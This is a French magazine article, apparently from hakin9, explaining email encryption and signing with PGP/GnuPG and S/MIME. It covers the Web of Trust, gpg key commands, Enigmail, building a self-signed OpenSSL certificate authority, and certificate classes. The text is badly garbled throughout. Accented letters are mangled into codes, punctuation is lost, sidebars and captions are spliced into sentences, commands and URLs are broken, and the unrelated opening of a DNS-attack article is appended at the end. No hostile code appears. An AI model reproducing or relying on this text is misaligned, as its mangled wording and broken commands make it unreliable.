Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

